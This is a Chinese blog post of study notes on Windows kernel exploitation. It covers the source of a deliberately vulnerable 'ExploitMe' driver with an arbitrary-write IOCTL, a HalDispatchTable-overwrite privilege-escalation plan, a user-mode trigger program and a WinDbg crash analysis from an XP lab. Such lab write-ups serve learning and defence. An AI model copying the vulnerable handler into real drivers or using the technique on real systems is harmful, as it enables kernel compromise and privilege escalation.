Windows内核漏洞学习笔记

        通常情况下,操作系统的内核程序、驱动程序等都是在0环上运行的。漏洞的攻防一直是此起彼伏的状态,驱动也可以作为病毒木马的载体。此篇仅作为学习记录是自己加深对内核漏洞的理解。

0 驱动程序

        0day中的驱动程序exploitme:


#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe" 
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS) 

PDEVICE_OBJECT g_DeviceObject; 

//卸载函数
VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) 
{ 
	//什么都不做,只是打印一句话 
	KdPrint(("DriverUnload: 88!\n")); 
} 

//派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) 
{ 
	PIO_STACK_LOCATION pIrpStack;//当前的 pIrp 栈
	PVOID Type3InputBuffer;//用户态输入地址
	PVOID UserBuffer;//用户态输出地址
	ULONG inputBufferLength;//输入缓冲区的大小
	ULONG outputBufferLength;//输出缓冲区的大小
	ULONG ioControlCode;//DeviceIoControl 的控制号
	PIO_STATUS_BLOCK IoStatus;//pIrp 的 IO 状态指针
	NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
	//获取数据
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned
	//根据 ioControlCode 完成对应的任务
	switch(ioControlCode)
	{ 
	case IOCTL_EXPLOIT_ME:
	if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
	{
	*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
	IoStatus->Information = sizeof(ULONG);
	}
	break;
	}
	//返回
	IoStatus->Status = ntStatus;
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus; 
}

//驱动主函数,相当于main
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath ) 
{ 
 	NTSTATUS ntStatus; 
 	UNICODE_STRING devName; 
 	UNICODE_STRING symLinkName;
	int i=0; 
 	//打印一句调试信息
 	KdPrint(("DriverEntry: Hello world driver demo!\n")); 
 	//设置该驱动对象的卸载函数
 	driverObject->DriverUnload = DriverUnload; 
 	//创建设备
 	RtlInitUnicodeString(&devName,DEVICE_NAME); 
 	ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject );
	if (!NT_SUCCESS(ntStatus)) 
 	{ 
 	return ntStatus; 
 	} 
 	//创建符号链接 
 	RtlInitUnicodeString(&symLinkName,DEVICE_LINK); 
 	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); 
 	if (!NT_SUCCESS(ntStatus)) 
 	{ 
 	IoDeleteDevice( g_DeviceObject ); 
 	return ntStatus; 
 	} 
 	//设置该驱动对象的派遣例程函数
 	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) 
 	{ 
 	driverObject->MajorFunction[i] = DrvDispatch; 
 	} 
	//返回成功结果
 	return STATUS_SUCCESS; 
}

        现在自己的驱动程序有了,之后讨论的就是3环程序怎么与0环中的驱动程序进行通信。 

1 3环程序打开驱动设备      

        3环的程序向驱动发出I/O请求时,是由DeviceIoControl等函数所完成的;然后在内核中由操作系统将其转化为IRP数据结构(I/O Request Package)。IRP结构中的MajorFunction字段决定该IRP包发送驱动的哪个派遣例程函数。

        3环程序访问驱动时要求创建符号链接,在驱动程序中可以通过IoCreateSymbolicLink函数创建符号链接程序。在前面的exploitme驱动中在入口函数里创建了一个设备并为其创建了符号链接:

#define DEVICE_NAME L"\\Device\\ExploitMe" 
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
...
...
...
//创建设备
 	RtlInitUnicodeString(&devName,DEVICE_NAME); 
 	ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject );
	if (!NT_SUCCESS(ntStatus)) 
 	{ 
 	return ntStatus; 
 	} 
 	//创建符号链接 
 	RtlInitUnicodeString(&symLinkName,DEVICE_LINK); 
 	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); 
 	if (!NT_SUCCESS(ntStatus)) 
 	{ 
 	IoDeleteDevice( g_DeviceObject ); 
 	return ntStatus; 
 	} 

        3环程序可以通过CreateFile函数打开设备,与exploitme驱动所对应地:

HANDLE hDevice= 
        CreateFile(
                "\\\\.\\HelloWorld", 
                GENERIC_READ|GENERIC_WRITE, 
                0,//不共享 
                NULL,//不使用安全描述符 
                OPEN_EXISTING,//仅存在时打开 
                FILE_ATTRIBUTE_NORMAL, 
                NULL);//不使用模板

        现在3环程序已经能够打开设备驱动了,之后进行的应该是3环程序要求驱动所做的工作。

2 DeviceIoControl函数与IoControlCode参数

        前面提到过DeviceIoControl函数,功能是完成3环程序向驱动发出I/O请求。

        第二个参数dwIoControlCode很重要,由宏CTL_CODE构成,可分为四部分:

DeviceType表示设备类型;

Access表示对设备的访问权限;

Function表示设备IoControl的功能号,0~0x7ff为微软保留,0x800~0xfff由程序员自己定义;

Method表示3环与0环通信中的内存访问方式。

        其中Method部分又有四种内存访问方式:

#define METHOD_BUFFERED                0

#define METHOD_IN_DIRECT                 1

#define METHOD_OUT_DIRECT             2

#define METHOD_NEITHER                    3

        不同值对应着不同的通信方式,具体内容可以0day第21章找到。

3 内核漏洞成因分析

        前面已经讨论过3环程序如何打开驱动设备句柄并使用DeviceIoControl函数调用派遣例程。

        再回头看驱动程序exploitme代码:

#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS) 
...
...
...

//派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) 
{
...
...
...
 //根据 ioControlCode 完成对应的任务
 switch(ioControlCode)
 { 
 case IOCTL_EXPLOIT_ME:
 if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
 {
 *(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
 IoStatus->Information = sizeof(ULONG);
 }
 break;
 }
...
...
}

        exploitme的派遣例程DrvDispatch函数中只处理了一个IoControlCode:IOCTL_EXPLOIT_ME ,可知IOCTL_EXPLOIT_ME 这个IoControlCode指定的3环与0环内存访问方式为METHOD_NEITHER方式。接下来梳理漏洞利用思路:

exploitme.sys存在的漏洞在于驱动派遣例程中对IOCTL_EXPLOIT_ME的IoControlCode处理过程。漏洞利用过程:

1. 在当前进程exploit.exe的0x0地址处申请内存存放0环shellcode代码

2. 将HalDispatchTable中的HalQuerySystemInformation(0环函数)函数地址改写为0x0

3. 调用HalQuerySystemInformation(0环函数)的上层封装函数NtQueryIntervalProfile(3环函数),如此事先准备好的0环shellcode将会执行。如下图所示:

 

可以看出漏洞利用手段与IAT Hook相似,都是对函数地址进行hook。

利用工具加载exploitme.sys驱动(实验环境为Win xp sp3),使用WinDbg进行内核调试:

利用查看驱动对象命令:!drvobj ExploitMe 2

ExploitMe+0x4b0就是IRP派遣例程,对该地址反汇编查找IoControlCode:

 继续分析IoControlCode 8888A003h的派遣例程:

 WinDbg中分析的输入、输出缓冲区均是由3环程序指定,既用户可控。这就导致可向任意地址写任意内容,最终实现提权。

下面编写代码以触发崩溃:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg()
{
	LPVOID lpMsgBuf;
	DWORD dw = GetLastError();

	FormatMessage(
		FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_FROM_SYSTEM,
		NULL,
		dw,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(LPTSTR) &lpMsgBuf,
		0, NULL );

	printf("系统错误:%s", lpMsgBuf);

	LocalFree(lpMsgBuf);
}

int main(void)
{
	HANDLE hDevice;
	DWORD length = 0;
	BOOL ret;
	char g_InputBuffer[4] = "\x00\x00\x00";		//输入缓冲区指针

	//打开设备驱动
	hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);

	if(hDevice == INVALID_HANDLE_VALUE)
	{
		ShowErrMsg();
		return EXIT_FAILURE;
	}

	//利用漏洞向地址0x80808080写入数值0x00000000
	ret = DeviceIoControl(hDevice,		//驱动句柄
			0x8888A003,					//IoControlCode数值
			g_InputBuffer,				//输入缓冲区指针
			4,							//输入缓冲区字节数
			(LPVOID)0x80808080,			//输出缓冲区指针
			4,							//输出缓冲区字节数
			&length,					//返回实际的数据字节数
			NULL);

	if(!ret)
		ShowErrMsg();
	else
		printf("DeviceIoControl Success!\n");
	return EXIT_SUCCESS;
}

 运行后系统崩溃被WinDbg断下,利用!analyze -v命令分析:

kd> !analyze -v
Connected to Windows XP 2600 x86 compatible target at (Fri May 13 15:05:43.730 2022 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
..........................................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

.....................
............................................................
Loading User Symbols
...
Loading unloaded module list
.........
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f8ccc539, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

*** WARNING: Unable to verify checksum for exploit.exe

KEY_VALUES_STRING: 1

    Key  : Analysis.CPU.Sec
    Value: 1

    Key  : Analysis.DebugAnalysisProvider.CPP
    Value: Create: 8007007e on HANXU-PC

    Key  : Analysis.DebugData
    Value: CreateObject

    Key  : Analysis.DebugModel
    Value: CreateObject

    Key  : Analysis.Elapsed.Sec
    Value: 9

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 62

    Key  : Analysis.System
    Value: CreateObject


BUGCHECK_CODE:  50

BUGCHECK_P1: ffffffff80808080

BUGCHECK_P2: 1

BUGCHECK_P3: fffffffff8ccc539

BUGCHECK_P4: 0

WRITE_ADDRESS: Target machine operating system not supported
 80808080 

MM_INTERNAL_CODE:  0

IMAGE_NAME:  ExploitMe.sys

MODULE_NAME: ExploitMe

FAULTING_MODULE: f8ccc000 ExploitMe

PROCESS_NAME:  exploit.exe

TRAP_FRAME:  b1b46b9c -- (.trap 0xffffffffb1b46b9c)
ErrCode = 00000002
eax=80808080 ebx=8218d138 ecx=0012ff70 edx=00000000 esi=8239ada0 edi=8219b2b8
eip=f8ccc539 esp=b1b46c10 ebp=b1b46c34 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
ExploitMe+0x539:
f8ccc539 8910            mov     dword ptr [eax],edx  ds:0023:80808080=????????
  //向0x80808080地址写入0
Resetting default scope

STACK_TEXT:  
b1b466d8 804f8bc3 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
b1b46724 804f97b0 00000003 00000000 c0404040 nt!KiBugCheckDebugBreak+0x19
b1b46b04 804f9cdb 00000050 80808080 00000001 nt!KeBugCheck2+0x574
b1b46b24 8051dd43 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
b1b46b84 80541760 00000001 80808080 00000000 nt!MmAccessFault+0x8e7
b1b46b84 f8ccc539 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
b1b46c34 804ef199 822e6bc0 8218d138 806d42d0 ExploitMe+0x539 //漏洞所在函数
b1b46c44 80575f50 8218d1a8 8219b2b8 8218d138 nt!IopfCallDriver+0x31
b1b46c58 80576e0b 822e6bc0 8218d138 8219b2b8 nt!IopSynchronousServiceTail+0x70
b1b46d00 8056f65e 000007e8 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1b46d34 8053e854 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b1b46d34 7c92e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall
0012fe98 7c92d28a 7c801675 000007e8 00000000 ntdll!KiFastSystemCallRet
0012fe9c 7c801675 000007e8 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0012fefc 00401153 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401389 00000001 00380d80 00380e08 exploit+0x1153
0012ffc0 7c81776f 00241fe4 0012f7bc 7ffdd000 exploit+0x1389
0012fff0 00000000 004012a0 00000000 78746341 kernel32!BaseProcessStart+0x23


SYMBOL_NAME:  ExploitMe+539

STACK_COMMAND:  .thread ; .cxr ; kb

FAILURE_BUCKET_ID:  0x50_ExploitMe+539

OSPLATFORM_TYPE:  x86

OSNAME:  Windows XP

FAILURE_ID_HASH:  {0e8acaad-3c03-70c7-5a44-32b581c7f3bd}

Followup:     MachineOwner
---------
 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值